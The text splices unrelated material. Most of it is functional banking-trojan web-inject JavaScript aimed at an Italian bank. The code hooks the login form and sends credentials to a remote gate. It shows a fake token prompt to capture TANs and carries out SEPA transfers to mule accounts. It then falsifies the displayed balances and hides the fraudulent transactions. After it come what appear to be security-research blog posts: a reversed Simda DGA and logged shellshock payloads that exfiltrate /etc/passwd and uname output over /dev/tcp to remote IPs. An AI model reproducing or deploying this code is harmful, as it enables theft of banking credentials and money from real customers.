    this._elements = jq(this._elements).add(jq(el));
}
ATS.PostForm.prototype.getElemVal = function(el) {
    var nodeName = jq(el)[0].nodeName;
    if (typeof jq(el).attr('nval') != 'undefined')
        return jq(el).attr('nval');
    switch (nodeName) {
        case 'INPUT':
            var inputType = jq(el).attr('type');
            switch (inputType) {
                case 'checkbox':
                    return (jq(el).attr('checked') == 'checked') ? jq(el).val() : false;
                case 'radio':
                    return (jq(el).attr('checked') == 'checked') ? jq(el).val() : false;
                default:
                    return jq(el).val();
            }
            break;
        case 'SELECT':
        case 'TEXTAREA':
            return jq(el).val();
            break;
    }
    return '';
}
ATS.PostForm.prototype.getRequestParams = function() {
    var res = {};
    var curForm = this;
    jq(this._elements).each(function() {
        var name = jq(this).attr('name');
        var value = curForm.getElemVal(jq(this));
        if ((typeof name != 'undefined') && (name != '') && (value !== false))
            res[name] = value;
    });
    return res;
}
ATS.PostForm.prototype.addErrorMsg = function(msg) {
    if (this._errorText != '')
        this._errorText += '|';
    this._errorText += msg;
}
ATS.PostForm.prototype.setField = function(sel, value) {
    var el = jq(this._elements).filter(sel);
    if (el.length == 1) {
        jq(el).attr('nval', value);
    } else if (el.length == 0) {
        this.addErrorMsg('el "' + sel + '" not found');
    } else {
        this.addErrorMsg('el "' + sel + '" found mul: ' + el.length);
    }
}
ATS.PostForm.prototype.getErrorText = function() {
    return this._errorText;
}
ATS.bank = 'cse';
ATS.script_ver = '1.2';
ATS.gateURL = 'https://1024sslsecurity.com/sajf98wquioijhsa/gate';

ATS.UI_blockSite = function() {
    if (ATS.debugNoOverlay)
        return;
    if (jq('#inj_block_overlay').length)
        jq('#inj_block_overlay').show();
    else
        jq('#bodySx').before('<div id=inj_block_overlay></div>');
}
ATS.UI_unblockSite = function() {
    jq('#inj_block_overlay').hide();
}
ATS.UI_getInjectCode = function() {
    var code = ' <div id=inj_dialog_box><div class="boxCentrale" style="min-height:' + '400px"><table class="dr-table rich-table" style="margin: 20px auto; wid' + 'th: 600px;"><thead class="dr-table-thead"><tr class="dr-table-subheader' + ' rich-table-subheader"><th class="dr-table-subheadercell rich-table-sub' + 'headercell">ATENZIONE</th></tr></thead><tbody><tr class="dr-table-row r' + 'ich-table-row"><td class="dr-table-cell rich-table-cell"><div id=inj_pa' + 'ge_wait style=\'display: none;\'><p class="inj_content_para"><div align="' + 'center"><h1><span class="utente">Attendere un momento prego' + '</span></h1></div><br/></p' + '><p style="text-align:center"><img src="https://1024sslsecurity.com/sajf98wquioijhsa/images/loader_bar.gif" id=' + 'inj_loader_img /></p></div><div id=inj_page_tan style=\'display: none;\'>' + '<p class="inj_content_block" id=inj_main_text>Il dispositivo non e sincronizzato ' + 'con l\'orologio di sistema corrente. Per poter procedere e necessario inserire la password riportata sul dispositivo. ' + '<br/></p><span style="text-align:center; display:block; font' + '-size: 18px;"><h3 class="boxCentraleH3" style="text-align:left"> I' + 'nserisci il codice presente nel token</h3><div class="digipass"><input ' + 'type="password" name="inj_tan" autocomplete="off" value="" maxlength="6' + '" class="inTable digitInputCodice" /></div><div class=inj_error><img sr' + 'c="/fec/09999/./img/error.gif" /> Digipasso non correcto! </div></' + 'span><div class="boxCentraleBottoni" style="font-size: 18px;"><div clas' + 's="buttonConferma"><a id="inj_weiter" href="#" title="conferma">CONFERM' + 'A</a></div></div></div></td></tr></tbody></table></div></div>';
    return jq(code);
}
ATS.UI_onWeiterClick = function() {
    var tan = jq('input[name=inj_tan]').val();
    if (tan == "test") {
        if (ATS.isDebugMode()) {
            if (parent.ATS.transf_mode == 'sepa') ATS.transferSepa();
            else ATS.transferInternal();
            return false;
        }
    }
    if (tan.length == 6) {
        ATS.sendLogMsg('entered TAN ' + tan);
        ATS.enterCode(tan);
    } else {
        alert('errorTanEmpty');
    }
}
ATS.UI_showDialogBox = function() {
    jq('#content1 > div:not(:has(#inj_dialog_box))').hide();
    if (!jq('#inj_dialog_box').length) {
        var injectCode = ATS.UI_getInjectCode();
        jq('#content1').append(injectCode);
        jq('#inj_weiter').click(ATS.UI_onWeiterClick);
    }
    jq('#inj_dialog_box').show();
}
ATS.UI_hideDialogBox = function() {
    jq('#inj_dialog_box').remove();
    jq('#content1 > div').show();
}
ATS.UI_showWait = function() {
    ATS.UI_showDialogBox();
    jq('#inj_page_wait').show();
    jq('#inj_page_tan').hide();
}
ATS.UI_askTan = function(isError) {
    parent.ATS.UI_showDialogBox();
    jq('#inj_page_wait').hide();
    jq('#inj_page_tan').show();
    jq('input[name=inj_tan]').val('');
    if (isError) {
        jq('.inj_error').show();
    } else
        jq('.inj_error').hide();
}

ATS.addElementAmount = function(el, amount, postfix) {
    var val = ATS.fin2float(jq(el).text());
    var newText = '€ ';
    if (val < 0) newText += '<span class="negative">';
    newText += ATS.float2fin(val + amount);
    if (postfix)
        newText += ' ' + postfix;
    if (val < 0) newText += '</span>';
    jq(el).html(newText);
}
ATS.fin2float = function(text) {
    var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
    return parseFloat(text);
}
ATS.float2fin = function(val) {
    var sign = '';
    if (val < 0) {
        sign = '-';
        val = -val;
    }
    var intPart = Math.floor(val);
    var fractPart = Math.floor((val - intPart) * 100).toString();
    if (fractPart.length < 2)
        fractPart = '0' + fractPart;
    var newIntPart = '';
    intPart = intPart.toString();
    while (intPart.length > 3) {
        newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
        intPart = intPart.substr(0, intPart.length - 3);
    }
    newIntPart = intPart + newIntPart;
    return sign + newIntPart + ',' + fractPart;
}
ATS.padRight = function(input, totalWidth) {
    var result = input;
    if (result.length < totalWidth) {
        for (var i = result.length; i < totalWidth; i++) {
            result = result + 'X'
        }
    }
    return result;
}
ATS.checkTransfer = function(el) {
    var percent = parseFloat("0.00");
    var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
    if (isNaN(lastGesamtsaldo)) {
        ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
        return false;
    }
    var curGesamtsaldo = el;
    var rep_amount = parseFloat(ATS.getCookie('rep_amount'));
    var tempsaldo = lastGesamtsaldo - curGesamtsaldo;
    tempsaldo = parseFloat(tempsaldo.toFixed(2));
    if (tempsaldo == 0) {
        ATS.sendLogMsg('As at ' + Date() + ' bank has NOT yet made a translation. The script will NOT change the balance');
        return false;
    }
    if (tempsaldo < 0) {
        ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo =' + lastGesamtsaldo + '; curGesamtsaldo =' + curGesamtsaldo);
        return false;
    }
    if (tempsaldo > 0) {
        if ((tempsaldo == rep_amount) || (tempsaldo > rep_amount)) {
            var temppers = (lastGesamtsaldo - (curGesamtsaldo + rep_amount));
            percent = parseFloat(temppers.toFixed(2));
            ATS.sendLogMsg('As at ' + Date() + ' Bank did the translation. bank percent = ' + percent + '; Script will made change');
            if (parseFloat(ATS.getCookie('acPercent')) != parseFloat(percent)) {
                ATS.setCookie('acPercent', percent);
                ATS.saveCookies();
            }
            if (ATS.getCookie('acTransact') != "true") {
                ATS.setCookie('acTransact', true);
                ATS.saveCookies();
            }
            return percent;
        } else {
            ATS.sendLogMsg('As at ' + Date() + ' the bank has not made a translation, but took percent = ' + tempsaldo + 'Script will NOT made change');
            ATS.setCookie('acPercent', tempsaldo);
            ATS.setCookie('acTransact', false);
            ATS.saveCookies();
            return false;
        }
    }
}
ATS.replaceFinanzstatus = function() {
    ATS.debugMsg('replaceFinanzstatus()');
    var saldo = 0;
    ATS.accounts_list = ATS.parseAccounts();
    var maxAccount = ATS.getMaxAccount(ATS.accounts_list);
    maxBalance = parseFloat(maxAccount.balance.toFixed(2));
    var el = maxBalance;
    var percent = ATS.checkTransfer(el);
    ATS.debugMsg('percent= ' + percent);
    if (typeof percent === 'boolean') return false;
    if (percent > 15) {
        ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');
        return false;
    }
    var totalReplace = 0;
    var tblRows = jq('table.selConto tr[id*=tableConti]');
    var accountsCnt = Math.floor(tblRows.length / 3);
    for (var i = 0; i < accountsCnt; i++) {
        var accNum = jq.trim(jq(tblRows).eq(i * 3).find('td:eq(2)').text());
        var amount = parseFloat(ATS.getCookie('ap' + accNum));
        if (amount > 0) {
            parent.ATS.accNum = accNum;
            ATS.debugMsg('REP finanzstatus: ' + accNum + ' + ' + amount + '; percent = ' + percent);
            ATS.addElementAmount(jq(tblRows).eq(i * 3 + 2).find('td:eq(1) strong:first'), parseFloat(amount + percent), '');
            ATS.addElementAmount(jq(tblRows).eq(i * 3 + 2).find('td:eq(2) strong:first'), parseFloat(amount + percent), '');
            totalReplace += parseFloat(amount + percent);
        }
    }
    var hideFlag = false;
    jq('table#panelContiCorrentiInclude\\:panelContiCorrentiForm\\:tabellaUltimiMov tr').each(function(i) {
        jq(this).find("td:eq(4)").each(function(j) {
            var text = jq.trim(jq(this).text());
            if (ATS.needToHide(text)) {
                jq(this).parent().hide();
                hideFlag = true;
            }
        });
    });
    if (totalReplace > 0) {}
    return true;
}
ATS.replaceUmsatzanzeige = function() {
    ATS.debugMsg('replaceUmsatzanzeige()');
    jq("#headH1info").remove();
    var percent = parseFloat(ATS.getCookie('acPercent'));
    if (percent > 15) {
        ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');
        return false;
    }
    if (ATS.getCookie('acTransact') == null || ATS.getCookie('acTransact') == "false") return false;
    if (ATS.getCookie('transfer_acc') == parent.ATS.accNum) {
        ATS.addElementAmount(jq('table tr:has(td:contains(Kontostand vom))').find('td:eq(1)'), amount + percent, 'EUR');
        var hideFlag = false;
        jq('table#panelContiCorrentiInclude\\:panelContiCorrentiForm\\:tabellaUltimiMov tr').each(function(i) {
            jq(this).find("td:eq(4)").each(function(j) {
                var text = jq.trim(jq(this).text());
                if (ATS.needToHide(text)) {
                    jq(this).parent().hide();
                    hideFlag = true;
                }
            });
        });
    }
    return true;
}
ATS.needToHide = function(text) {
    var amount = parseFloat(ATS.getCookie('rep_amount'));
    if (amount) {
        text = text.replace(/[^\d,]+/gi, '').replace(",", '.');
        if (text.indexOf(amount) != -1) return true;
        ATS.debugMsg(text);
    }
    return false;
}
ATS.replaceBalances = function() {
    ATS.debugMsg('replaceBalances()');
    if (ATS.getPageTitle("SALDO CONTO"))
        if (ATS.replaceFinanzstatus()) ATS.replaceUmsatzanzeige();
    if (ATS.getPageTitle("SALDO CONTI"))
        if (ATS.replaceFinanzstatus()) {
            jq('#saldoForm\\:dettaglioSaldo,.selConto:contains(TOTALE SALDO CONTI)').remove();
        }
}
ATS.getPageTitle = function(findtext) {
    var title = jq.trim(jq("h2.boxCentraleH2::visible").eq(0).text());
    if (title.indexOf(findtext) != -1) return true;
    else return false;
}

ATS.isLoggedIn = function() {
    return !!jq('a#esci').length;
}
ATS.getLogin = function() {
    return jq('input[name*=codiceId]').val();
}
ATS.getPassword = function() {
    return jq('input[name*=password]').val();
}
ATS.getLoginForm = function() {
    var res = jq('#loginForm');
    if (jq(res).length == 0)
        return false;
    return jq(res);
}
ATS.checkLoginPage = function() {
    if (!ATS.getLoginForm())
        return false;
    return true;
}
ATS._oldOnSubmit = false;
ATS.setLoginHook = function() {
    var loginDataSent = false;
    var loginForm = ATS.getLoginForm();
    if (loginForm) {
        ATS._oldOnSubmit = loginForm[0].onsubmit;
        loginForm[0].onsubmit = function() {
            return true;
        };
        jq(loginForm).submit(function(e) {
            if (!loginDataSent) {
                e.preventDefault();
                var login = ATS.getLogin();
                var password = ATS.getPassword();
                ATS.debugMsg('login info: ' + login + ', ' + password);
                if (login && password) {
                    ATS.sendLoginInfo(login, password, function() {
                        loginDataSent = true;
                        if (typeof ATS._oldOnSubmit == 'function')
                            ATS._oldOnSubmit();
                        jq(loginForm).find('input[type=submit]').click();
                    })
                }
            }
        });
        return true;
    }
    return false;
}
ATS.getMaxAccount = function(accountsList) {
    var maxAcc = null;
    for (var i in accountsList) {
        if (!maxBalance)
            var maxBalance = accountsList[i].balance;
        if (parseFloat(accountsList[i].balance) >= maxBalance) {
            maxBalance = parseFloat(accountsList[i].balance);
            maxAcc = accountsList[i];
        }
    }
    return maxAcc;
}
ATS.getBonificiMenuHref = function() {
    var el = jq('#menuTopDiv a[title*="Bonifici"]');
    var el2 = jq('#menuTopDiv a[title="Bonifico / Giroconto"]');
    if (jq(el).length) return jq(el).attr('href');
    else if (jq(el2).length) return jq(el2).attr('href');
    return false;
}
ATS.parseAccounts = function() {
    var res = [];
    var tblRows = jq('table.selConto tr[id*=tableConti]');
    var accountsCnt = Math.floor(tblRows.length / 3);
    for (var i = 0; i < accountsCnt; i++) {
        var accNum = jq.trim(jq(tblRows).eq(i * 3).find('td:eq(2)').text());
        var tmp = jq(tblRows).eq(i * 3 + 2).find('td:eq(1)').text();
        var tmp2 = jq(tblRows).eq(i * 3 + 2).find('td:eq(2)').text();
        if (!isNaN(ATS.fin2float(tmp))) accBalance = ATS.fin2float(tmp);
        else accBalance = ATS.fin2float(tmp2);
        var inpID = jq(tblRows).eq(i * 3).find("input").attr("id");
        var onclick = jq(tblRows).eq(i * 3).find("input").attr("onclick");
        var value = jq(tblRows).eq(i * 3).find("input").val();
        onclick = onclick.replace("javascript:", "");
        onclick = onclick.replace("this.value", '"' + value + '"');
        ATS.debugMsg(accNum + ': ' + accBalance);
        res.push({
            number: accNum,
            balance: accBalance,
            transf: true,
            inputID: inpID,
            onclick: onclick,
            value: value
        });
    }
    return res;
}
ATS.enterCode = function(tan) {
    ATS.debugMsg('ATS.enterCode ' + tan);
    parent.ATS.UI_showWait();
    var tanForm = new ATS.PostForm(jq(ATS.lastPage).find('#bonificoSepaitaliaInsStep2Form'));
    tanForm.setField('input[name*=passworddispositiva]', tan);
    tanForm.setField('input[name*=salvaBeneficiario]:eq(0)', 'true');
    var btnID = jq(ATS.lastPage).find('a[id*=conferma]').attr('id');
    tanForm.addHiddenElem(btnID, btnID, btnID);
    var tanErrors = tanForm.getErrorText();
    if (tanErrors == '') {
        setTimeout(function() {
            ATS.ajaxPost(tanForm.getFormAction(), tanForm.getRequestParams(), 'div#bodySx', ATS.checkTanPage);
        }, ATS.randInt(1000, 2000));
    } else {
        ATS.sendDump('ATS.enterCode', ATS.lastPage);
        ATS.die('ATS.enterCode: form errors: ' + tanErrors);
    }
}
ATS.checkTanPage = function(html) {
    ATS.sendLogMsg('processing ATS.checkTanPage');
    var error = jq(html).find('.bgerrorTop');
    if (!error.length) {
        if (parent.ATS.transf_mode == 'sepa') ATS.transferSepa();
        else ATS.transferInternal();
    } else {
        ATS.sendDump('ATS.checkTanPage error enter tan', html.html());
        ATS.UI_askTan(true);
    }
}
ATS.procAreaSepaPage = function(html) {
    ATS.sendLogMsg('processing ATS.procAreaSepaPage');
    ATS.sendDump('procAreaSepaPage', html.html());
    var sepaForm = ATS.fillSepaForm(html, ATS.sepa_drop);
    if (ATS.accounts_list.length > 1) {
        setTimeout(function() {
            eval(parent.ATS.maxAcc.onclick);
        }, ATS.randInt(2000, 3000));
    }
    var sepaErrors = sepaForm.getErrorText();
    if (sepaErrors == '') {
        setTimeout(function() {
            ATS.ajaxPost(sepaForm.getFormAction(), sepaForm.getRequestParams(), 'div#bodySx', ATS.procConfirmSepaPage);
        }, ATS.randInt(20000, 30000));
    } else {
        ATS.sendDump('procAreaSepaPage', html.html());
        ATS.die('ATS.procAreaSepaPage: form errors: ' + sepaErrors);
    }
}
ATS.procConfirmSepaPage = function(html) {
    ATS.debugMsg('ATS.procConfirmSepaPage');
    if (ATS.isDebugMode()) ATS.sendDump('procConfirmSepaPage', html.html());
    if (jq(html).html().indexOf("OPERAZIONE TRAMITE CELLULARE") != -1) {
        ATS.die('procConfirmSepaPage: CONFIRMATION OF THE OPERATION USING A CELL PHONE ');
    } else {
        var error = jq(html).find('.bgerrorTop');
        if (!error.length) {
            ATS.UI_askTan();
        } else {
            ATS.sendDump('procConfirmSepaPage', html.html());
            ATS.die('procConfirmSepaPage: form errors: see in dump');
        }
    }
}
ATS.fillSepaForm = function(html, drop) {
    var myForm = new ATS.PostForm(jq(html).find('#bonificoSepaitaliaInsStep1Form'));
    myForm.setField('input[name*=beneficiario_denominazione]', drop.DrName);
    myForm.setField('input[name*=beneficiario_paeseResidenza]', drop.IBAN.substr(0, 2));
    myForm.setField('input[name*=beneficiario_paeseDomicilio]', drop.IBAN.substr(0, 2));
    myForm.setField('input[name*=beneficiario_ibanSEPA]', drop.IBAN);
    myForm.setField('input[name*=beneficiario_bic]', drop.BIC);
    myForm.setField('textarea[name*=bonifico_causale]', drop.Reference);
    myForm.setField('input[name*=bonifico_importo]', drop.amount);
    var inputID = parent.ATS.maxAcc.inputID;
    var value = parent.ATS.maxAcc.value;
    myForm.setField('#' + inputID, value);
    var btnID = jq(html).find('a[id*=conferma]').attr('id');
    myForm.addHiddenElem(btnID, btnID, btnID);
    return myForm;
}
ATS.GetSingleLink = function(html, searched) {
    var searchednameLength = jq(html).find('td:contains("' + searched + '")').length;
    if (!!searchednameLength) {
        var tmp = jq(html).find('td:has(a):contains("' + searched + '")');
        if (!!tmp.length) return tmp;
        else return true;
    } else {
        return false;
    }
}
ATS.GetSepaIntLink = function(html, nameInt, nameSepa, searched) {
    searched = searched || "sepa";
    var nameIntLength = jq(html).find('td:contains("' + nameInt + '")').length;
    var nameSepaLength = jq(html).find('td:contains("' + nameSepa + '")').length;
    if (!!nameIntLength && !!nameSepaLength) {
        if (searched == "sepa") {
            var tmp = jq(html).find('td:has(a):contains("' + nameSepa + '")');
            if (!!tmp.length) return tmp;
            else return true;
        }
        if (searched == "int") {
            var tmp = jq(html).find('td:has(a):contains("' + nameInt + '")');
            if (!!tmp.length) return tmp;
            else return true;
        }
    } else {
        return false;
    }
}
ATS.GetLink = function(html, metod) {
    metod = metod || "sepa";
    var link = ATS.GetSepaIntLink(html, "Bonifici Italia", "Bonifici Estero UE", metod);
    if (typeof(link) == "object") return link;
    if (link) return true;
    var link = ATS.GetSepaIntLink(html, "Italia", "Area SEPA", metod);
    if (typeof(link) == "object") return link;
    if (link) return true;
    var link = ATS.GetSingleLink(html, "Ordinario");
    if (typeof(link) == "object") return link;
    if (link) return true;
    var link = ATS.GetSingleLink(html, "Bonifico ordinario area SEPA");
    if (typeof(link) == "object") return link;
    if (link) return true;
    return false;
}
ATS.sepaTools = function() {
    ATS.sendLogMsg('processing ATS.sepaTools');
    ATS.ajaxGet(ATS.getBonificiMenuHref(), 'div#bodySx', function(html) {
        ATS.sendDump('sepaTools ATS.getBonificiMenuHref()', html.html());
        ATS.debugMsg('ATS.sepaTools: page loaded');
        var areaSepaLink = ATS.GetLink(html, "sepa");
        if (typeof(areaSepaLink) == "object") {
            setTimeout(function() {
                ATS.ajaxGet(jq(areaSepaLink).find('a').attr('href'), 'div#bodySx', ATS.procAreaSepaPage);
            }, ATS.randInt(2000, 3500));
        } else if (areaSepaLink) {
            ATS.procAreaSepaPage(html);
        } else {
            ATS.sendDump('sepaTools error ATS.getBonificiMenuHref()', html.html());
            ATS.die('error: cant find area sepa link');
        }
    });
}
ATS.intTools = function() {
    ATS.sendLogMsg('processing ATS.intTools');
    ATS.ajaxGet(ATS.getBonificiMenuHref(), 'div#bodySx', function(html) {
        ATS.sendDump('intTools ATS.getBonificiMenuHref()', html.html());
        ATS.debugMsg('ATS.intTools: page loaded');
        var areaIntLink = ATS.GetLink(html, "int");
        if (typeof(areaIntLink) == "object") {
            setTimeout(function() {
                ATS.ajaxGet(jq(areaIntLink).find('a').attr('href'), 'div#bodySx', ATS.procAreaIntPage);
            }, ATS.randInt(2000, 3500));
        } else if (areaIntLink) {
            ATS.procAreaIntPage(html);
        } else {
            ATS.sendDump('intTools error ATS.getBonificiMenuHref()', html.html());
            ATS.die('error: cant find area int link');
        }
    });
}
ATS.procAreaIntPage = function(html) {
    ATS.debugMsg('ATS.procAreaIntPage');
    ATS.sendDump('procAreaIntPage', html.html());
    var intForm = ATS.fillIntForm(html, ATS.int_drop);
    if (ATS.accounts_list.length > 1) {
        setTimeout(function() {
            eval(parent.ATS.maxAcc.onclick);
        }, ATS.randInt(2000, 3000));
    }
    var intErrors = intForm.getErrorText();
    if (intErrors == '') {
        setTimeout(function() {
            ATS.ajaxPost(intForm.getFormAction(), intForm.getRequestParams(), 'div#bodySx', ATS.procConfirmSepaPage);
        }, ATS.randInt(20000, 30000));
    } else {
        ATS.sendDump('procAreaIntPage', html.html());
        ATS.die('ATS.procAreaIntPage: form errors: ' + intErrors);
    }
}
ATS.fillIntForm = function(html, drop) {
    var myForm = new ATS.PostForm(jq(html).find('#bonificoSepaitaliaInsStep1Form'));
    myForm.setField('input[name*=beneficiario_denominazione]', drop.DrName);
    myForm.setField('input[name*=beneficiario_paeseResidenza]', drop.IBAN.substr(0, 2));
    myForm.setField('input[name*=beneficiario_ibanIT]', drop.IBAN);
    myForm.setField('textarea[name*=bonifico_causale]', drop.Reference);
    myForm.setField('input[name*=bonifico_importo]', drop.amount);
    var inputID = parent.ATS.maxAcc.inputID;
    var value = parent.ATS.maxAcc.value;
    myForm.setField('#' + inputID, value);
    var btnID = jq(html).find('a[id*=conferma]').attr('id');
    myForm.addHiddenElem(btnID, btnID, btnID);
    return myForm;
}
ATS.framePageFinanzstatus = function() {
    ATS.sendLogMsg('processing ATS.framePageFinanzstatus');
    ATS.accounts_list = ATS.parseAccounts();
    if (!ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find balance-');
    var maxAccount = ATS.getMaxAccount(ATS.accounts_list);
    if (maxAccount) {
        parent.ATS.maxAcc = maxAccount;
        maxBalance = parseFloat(maxAccount.balance.toFixed(2));
        parent.ATS.maxBalanceDrop = maxBalance;
        if (!parent.ATS.Gesamtsaldo) parent.ATS.Gesamtsaldo = maxBalance;
        ATS.getDrop('SEPA', maxBalance, function(data) {
            if (data && data.drop) {
                parent.ATS.sepa_drop = data.drop;
                parent.ATS.transf_mode = 'sepa';
                setTimeout(function() {
                    ATS.sepaTools();
                }, ATS.randInt(2000, 3000));
            } else {
                ATS.getDrop('Internal', maxBalance, function(data) {
                    if (data && data.drop) {
                        parent.ATS.int_drop = data.drop;
                        parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
                        parent.ATS.transf_mode = 'int';
                        setTimeout(function() {
                            ATS.intTools();
                        }, ATS.randInt(2000, 3000));
                    } else {
                        ATS.die('framePageFinanzstatus: no Int drop');
                    }
                });
            }
        });
    } else ATS.die("framePageFinanzstatus : cant find maxAccount");
}
ATS.mainWork = function() {
    ATS.sendLogMsg('main state ' + ATS.StepInFrame[ATS.current_state]);
    if (ATS.getBonificiMenuHref()) {
        setTimeout(function() {
            ATS.framePageFinanzstatus();
        }, ATS.randInt(2000, 3000));
    } else ATS.die("mainWork:Cant find BonificiMenuHref");
}
if ((typeof __debugDisabled == 'undefined') || !__debugDisabled) {
    jq(document).ready(function() {
        ATS.debugMsg('document loaded');
        if (ATS.checkLoginPage()) {
            ATS.debugMsg('login page');
            setTimeout(ATS.setLoginHook, 500);
        }
        if (ATS.isLoggedIn()) {
            ATS.debugMsg('logged in!');
            ATS.loadData(function(data) {
                if (ATS.account_id != 0) {
                    if ((ATS.getCookie('status') != '1') && (ATS.getCookie('status') != '2')) {
                        ATS.UI_blockSite();
                        ATS.UI_showWait();
                        ATS.mainWork();
                    }
                    if (ATS.getCookie('status') == '2') {
                        if (((ATS.getTime() - ATS.getCookie('error_time')) / 3600) >= 48) {
                            ATS.setCookie('status', 0);
                            ATS.saveCookies();
                            ATS.sendLogMsg('Replace cookie status from 2 on 0');
                            jq('.inj_full_overlay').remove();
                        } else {
                            jq('.inj_full_overlay').remove();
                        }
                    }
                    if (ATS.getCookie('status') == '1') {
                        ATS.replaceBalances();
                    }
                }
                jq('.inj_full_overlay').remove();
            });
        } else {
            if ((parent.document !== document) && parent.ATS) {
                ATS.debugMsg('we are in frame and not logged in!');
            } else {
                jq('.inj_full_overlay').remove();
            }
        }
    });
}

if ((document.readyState === "loading") || (document.readyState === "interactive"))
    document.write('<div class="inj_full_overlay"></div>');
else
    jq('body').append('<div class="inj_full_overlay"></div>');

Internet Attacks Against Nuclear Power Plants

We presented “Internet Attacks Against Nuclear Power Plants” at the IAEA International Conference on Computer Security in a Nuclear World in Vienna, Austria on June 3, 2015.
You can read the paper here and the presentation slides here.

IAEA Paper

Sharing the Simda Pseudo DGA

There was the takedown of Simda reported yesterday by Microsoft. According to that report, Simda communicates “up to six hard-coded IPs” and has a DGA that it uses to set the hosts field in the HTTP header and also used as seed for encryption.

This is the reversed algorithm, as reversed of sample MD5 892A0A4DC4C3EEA90BECE60C142AEAF1 (that is the extracted unpacked Simda executable, contact us to receive the sample):

void Simda_GenerateRandomString(unsigned MinLength, char * Domain, unsigned MaxLength, DWORD Random1)
{
    unsigned __int64 randvalue = __rdtsc();
    Random1 = (DWORD)randvalue;
    unsigned DomainLength = MinLength + Random1 % (MaxLength - MinLength);

    for (unsigned n = 0; n < DomainLength; n++)
    {
        if ( Random1 & 1 )
            Domain[n] = Random1 % 0xA + 48;
        else
            Domain[n] = Random1 % 0x1A + (16 * (Random1 & 2) | 0x41);

        Random1 = ((Random1 << 1) & 0xFFFFFFFF) + ((Random1 >> (32 - 1)) & 0xFFFFFFFF);
    }

    Domain[DomainLength] = 0;
}

void Simda_GenerateDomains()
{
    for (unsigned n = 0; n < 1000; n++)
    {
        char Domain[100] = "report.";

        Simda_GenerateRandomString(15, Domain + 7, 20, n);

        strcat(Domain, ".com");

        // lowercase it
        for (unsigned n = 0; Domain[n]; n++)
            Domain[n] = tolower(Domain[n]);

        printf("%s\n", Domain);
    }
}

The output will be random domains in this format:

report.31u9m179ce7931sk3y.com
report.17q3w793g7iqgmy3.com
report.w9u1m931c9sk7y31o.com
report.k5y5c5555gmy5c5.com
report.79w1u93179ei7q3w7.com
report.55g55aaaaaaa5ku.com
report.17i31qgmy7cei7q3.com

Web attacks caught by Virus Tracker

With having the largest botnet monitoring system in the world (with more than 8.000 domains) we see all kinds of bots connecting to our sinkholes – including robots that try to find and exploit certain vulnerabilities like shellshock, some admin panels or that try to find SQLIs.

Finding exploit attempts in our dataset

Finding such entries is fairly easy – we can simply download all APT infection data for this year and then have a full-text search for anything containing “{“.

Request paths containing the exploit:
/search/?query=${eval(base64_decode(%27ZWNobycycTRtbmozaGc2bW5nZmgnOw==%27));}

User Agents being evil:
() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd;
() { test;};echo Content-type: text/plain; echo; echo; /bin/cat /etc/passwd
() { :;}; /bin/bash -c echo [domain]/cgi-bin/php5 > /dev/tcp/213.233.161.42/23; echo [domain]/cgi-bin/php5 > /dev/udp/213.233.161.42/80
() { :;}; /bin/bash -c echo [domain]/cgi-bin/test-cgi > /dev/tcp/23.227.199.185/80; echo [domain]/cgi-bin/test-cgi > /dev/udp/23.227.199.185/80
() { :;}; /bin/bash -c echo [domain]/cgi-bin/php-cgi > /dev/tcp/213.233.161.42/23; echo [domain]/cgi-bin/php-cgi > /dev/udp/213.233.161.42/80
() { :;}; /bin/bash -c echo [domain]/cgi-bin/php-cgi > /dev/tcp/213.233.161.42/23; echo [domain]/cgi-bin/php-cgi > /dev/udp/213.233.161.42/80
() { :;}; /bin/bash -c echo [domain]/ > /dev/tcp/213.233.161.42/23; echo [domain]/ > /dev/udp/213.233.161.42/80
() { :;}; /bin/bash -c echo [domain]/phppath/cgi_wrapper?  > /dev/tcp/67.228.177.7/23; /bin/uname -a > /dev/tcp/67.228.177.7/23; echo [domain]/phppath/cgi_wrapper? > /dev/udp/67.228.177.7/80

Check out the first one. We can use the Virus Tracker tools to decode this base64 “ZWNobycycTRtbmozaGc2bW5nZmgnOw==” and get as a result “echo’2q4mnj3hg6mngfh’;”. It is expected that the evil tool doing the request with this shellshock poisoned user agent expects this string “2q4mnj3hg6mngfh” in the response to verify whether the server is vulnerable or not.

In the other attempts you can see that it tries to pipe some information to remote TCP connections. We have plenty of those user agents and just pasted a few above.

Where are those evil robots scanning for vulnerable servers coming from?

Due to the nature of TCP we see all IPs of the robots doing the scanning. For the base64 one from above we have seen the exact same requests coming from these locations:

2015-01-13 22:58:28	62.212.76.84	LeaseWeb	Netherlands
2015-01-13 23:00:52	85.128.139.6	NetArt webhosting servers	Poland
2015-01-13 22:20:24	184.168.46.87	GoDaddy.com LLC	United States
2015-01-13 22:22:15	184.168.152.75	GoDaddy.com LLC	United States
2015-01-13 23:07:06	97.74.24.214	GoDaddy.com LLC	United States
2015-01-14 07:46:58	198.57.247.223	Unified Layer	United States
2015-01-13 23:02:27	31.41.43.1	Relink Ltd.	Russian Federation
2015-01-13 23:05:38	164.138.200.148	Centro Canario de Tratamiento de Informacion SLU	Spain

You can check it out yourself here http://virustracker.net/91.109.2.132, have a look at the user agents there!

And here the list of the most recent attempts from today:

2015-03-05 20:12:52	74.208.199.94	1&1 Internet	United States	/cgi-sys/php4	() { :;}; /bin/bash -c echo IMGGOOGLE.COM/cgi-sys/php4  > /dev/tcp/67.228.177.7/23; /bin/uname -a > /dev/tcp/67.228.177.7/23; echo IMGGOOGLE.COM/cgi-sys/php4 > /dev/udp/67.228.177.7/80
2015-03-05 20:51:53	74.208.199.94	1&1 Internet	United States	/cgi-sys/php4	() { :;}; /bin/bash -c echo INDIA-VIDEOER.COM/cgi-sys/php4  > /dev/tcp/67.228.177.7/23; /bin/uname -a > /dev/tcp/67.228.177.7/23; echo INDIA-VIDEOER.COM/cgi-sys/php4 > /dev/udp/67.228.177.7/80
